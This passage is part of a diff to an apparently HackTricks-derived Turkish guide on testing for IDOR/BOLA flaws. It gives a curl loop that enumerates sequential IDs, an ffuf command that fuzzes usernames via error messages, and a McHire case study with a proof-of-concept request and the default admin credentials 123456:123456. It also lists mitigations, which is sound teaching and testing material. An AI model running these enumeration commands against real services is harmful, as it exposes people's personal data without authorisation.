zaman `64185741` muhtemelen vardır. -4. Ek API'leri açığa çıkarabilecek gizli veya alternatif akışları keşfedin (örneğin, giriş sayfalarındaki *"Paradox takım üyeleri"* bağlantısı). -5. **Kimlik doğrulaması yapılmış düşük ayrıcalıklı bir oturum** kullanın ve yalnızca ID'yi **aynı token/çerez ile değiştirin**. Yetkilendirme hatasının olmaması genellikle IDOR'un bir işareti olarak kabul edilir. +1. Bir nesneyi referans gösteren **parametrelere** bakın: +* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` +* Query: `?id=42`, `?invoice=2024-00001` +* Body / JSON: `{"user_id": 321, "order_id": 987}` +* Headers / Cookies: `X-Client-ID: 4711` +2. Veri **okuyan veya güncelleyen** (`GET`, `PUT`, `PATCH`, `DELETE`) uç noktalarını tercih edin. +3. Tanımlayıcıların **ardışık veya tahmin edilebilir** olup olmadığına dikkat edin – ID'niz `64185742` ise muhtemelen `64185741` vardır. +4. Ek API'leri açığa çıkarabilecek gizli veya alternatif akışları (ör. giriş sayfalarındaki *"Paradox team members"* bağlantısı) keşfedin. +5. Bir **kimlik doğrulanmış düşük ayrıcalıklı oturum** kullanın ve sadece ID'yi değiştirip **aynı token/cookie**'yi tutun. Yetkilendirme hatasının olmaması genellikle IDOR belirtisidir. ### Hızlı manuel müdahale (Burp Repeater) ``` @@ -26,7 +27,7 @@ Content-Type: application/json {"lead_id":64185741} ``` -### Otomatik numaralandırma (Burp Intruder / curl döngüsü) +### Otomatik enumeration (Burp Intruder / curl loop) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ @@ -36,48 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ done ``` --- -## 2. Gerçek Dünya Vaka Çalışması – McHire Chatbot Platformu (2025) -Paradox.ai destekli **McHire** işe alım portalının bir değerlendirmesi sırasında aşağıdaki IDOR keşfedildi: +### Error-response oracle for user/file enumeration -* Uç Nokta: `PUT /api/lead/cem-xhr` -* Yetkilendirme: **herhangi** bir restoran test hesabı için kullanıcı oturum çerezi -* Gövde parametresi: `{"lead_id": N}` – 8 haneli, **sıralı** sayısal tanımlayıcı +Bir download endpoint hem username hem de filename kabul ettiğinde (örn. `/view.php?username=&file=`), hata mesajlarındaki ince farklılıklar sıklıkla bir oracle oluşturur: -`lead_id` değerini düşürerek, test eden kişi rastgele başvuranların **tam PII** (isim, e-posta, telefon, adres, vardiya tercihleri) bilgilerini ve oturum kaçırmaya izin veren bir tüketici **JWT**'sini elde etti. `1 – 64,185,742` aralığının sayımı yaklaşık **64 milyon** kaydı ortaya çıkardı. +- Var olmayan username → "Kullanıcı bulunamadı" +- Hatalı filename ama geçerli extension → "Dosya mevcut değil" (bazen mevcut dosyaları da listeler) +- Hatalı extension → doğrulama hatası -Kanıt-of-Kavram isteği: +Herhangi bir kimliği doğrulanmış oturumda, zararsız bir filename sabit tutarak username parametresini fuzz'layabilir ve geçerli kullanıcıları keşfetmek için "Kullanıcı bulunamadı" dizisini filtreleyebilirsiniz: +```bash +ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ +-b 'PHPSESSID=' \ +-w /opt/SecLists/Usernames/Names/names.txt \ +-fr 'User not found' +``` +Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). Bu desen genellikle diğer kullanıcıların belgelerinin yetkisiz ifşasına ve credential leakage'e yol açar. + +--- +## 2. Gerçek Dünya Vaka Çalışması – McHire Chatbot Platform (2025) + +Paradox.ai-powered **McHire** işe alım portalının bir değerlendirmesi sırasında aşağıdaki IDOR tespit edildi: + +* Endpoint: `PUT /api/lead/cem-xhr` +* Authorization: user session cookie for **any** restaurant test account +* Body parameter: `{"lead_id": N}` – 8 haneli, **sıralı** sayısal tanımlayıcı + +lead_id'yi azaltarak test eden, rastgele başvuruların **full PII**'sini (isim, e-posta, telefon, adres, vardiya tercihleri) ve session hijacking'e olanak veren bir tüketici **JWT**'sini elde etti. `1 – 64,185,742` aralığının taranması yaklaşık **64 milyon** kaydı açığa çıkardı. + +Proof-of-Concept isteği: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Birleştirildiğinde **varsayılan yönetici kimlik bilgileri** (`123456:123456`) test hesabına erişim sağladı ve bu zafiyet, kritik, şirket genelinde bir veri ihlaline yol açtı. +Combined with **varsayılan yönetici kimlik bilgileri** (`123456:123456`) test hesabına erişim verdiği için, bu zafiyet kritik ve şirket genelinde bir veri ihlaline yol açtı. --- -## 3. IDOR / BOLA'nın Etkisi -* Yatay yükselme – **diğer kullanıcıların** verilerini okuma/güncelleme/silme. -* Dikey yükselme – düşük yetkili bir kullanıcının yalnızca yöneticiye özel işlevsellik kazanması. -* Tanımlayıcılar ardışık ise kitlesel veri ihlali (örneğin, başvuru kimlikleri, faturalar). -* Diğer kullanıcıların token'larını çalarak veya şifrelerini sıfırlayarak hesap ele geçirme. +## 3. Impact of IDOR / BOLA +* Yatay yetki yükseltme – **diğer kullanıcıların** verilerini oku/güncelle/sil. +* Dikey yetki yükseltme – düşük ayrıcalıklı bir kullanıcı yöneticiye özel işlevlere erişim kazanır. +* Tanımlayıcılar ardışık ise toplu veri ihlali olabilir (e.g., applicant IDs, invoices). +* Token çalmak veya diğer kullanıcıların parolalarını sıfırlamak yoluyla hesap ele geçirme. --- -## 4. Önlemler & En İyi Uygulamalar +## 4. Mitigations & Best Practices 1. Her istekte **nesne düzeyinde yetkilendirme** uygulayın (`user_id == session.user`). -2. Otomatik artan kimlikler yerine **dolaylı, tahmin edilemez tanımlayıcılar** (UUIDv4, ULID) tercih edin. -3. Yetkilendirmeyi **sunucu tarafında** gerçekleştirin, asla gizli form alanlarına veya UI kontrollerine güvenmeyin. -4. Merkezi bir ara yazılımda **RBAC / ABAC** kontrolleri uygulayın. -5. ID'lerin sayımını tespit etmek için **oran sınırlama ve günlükleme** ekleyin. -6. Her yeni uç noktayı güvenlik testi yapın (birim, entegrasyon ve DAST). +2. Otomatik artan ID'ler yerine **dolaylı, tahmin edilemez tanımlayıcıları** (UUIDv4, ULID) tercih edin. +3. Yetkilendirmeyi **sunucu tarafında** gerçekleştirin; gizli form alanlarına veya UI kontrollerine asla güvenmeyin. +4. Merkezi bir middleware'de **RBAC / ABAC** kontrolleri uygulayın. +5. ID taramasını tespit etmek için **oran sınırlaması ve kayıt tutma** ekleyin. +6. Her yeni endpoint'i güvenlik testinden geçirin (unit, integration ve DAST). --- -## 5. Araçlar -* **BurpSuite uzantıları**: Authorize, Auto Repeater, Turbo Intruder. +## 5. Tooling +* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. -* **Github projeleri**: `bwapp-idor-scanner`, `Blindy` (toplu IDOR avı). +* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). -## Referanslar -* [McHire Chatbot Platform: Varsayılan Kimlik Bilgileri ve IDOR 64M Başvuranın Kişisel Bilgilerini Ortaya Çıkarıyor](https://ian.sh/mcdonalds) -* [OWASP Top 10 – Kırık Erişim Kontrolü](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) -* [Daha Fazla IDOR Nasıl Bulunur – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) + + +## References +* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) +* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) +* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) +* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}}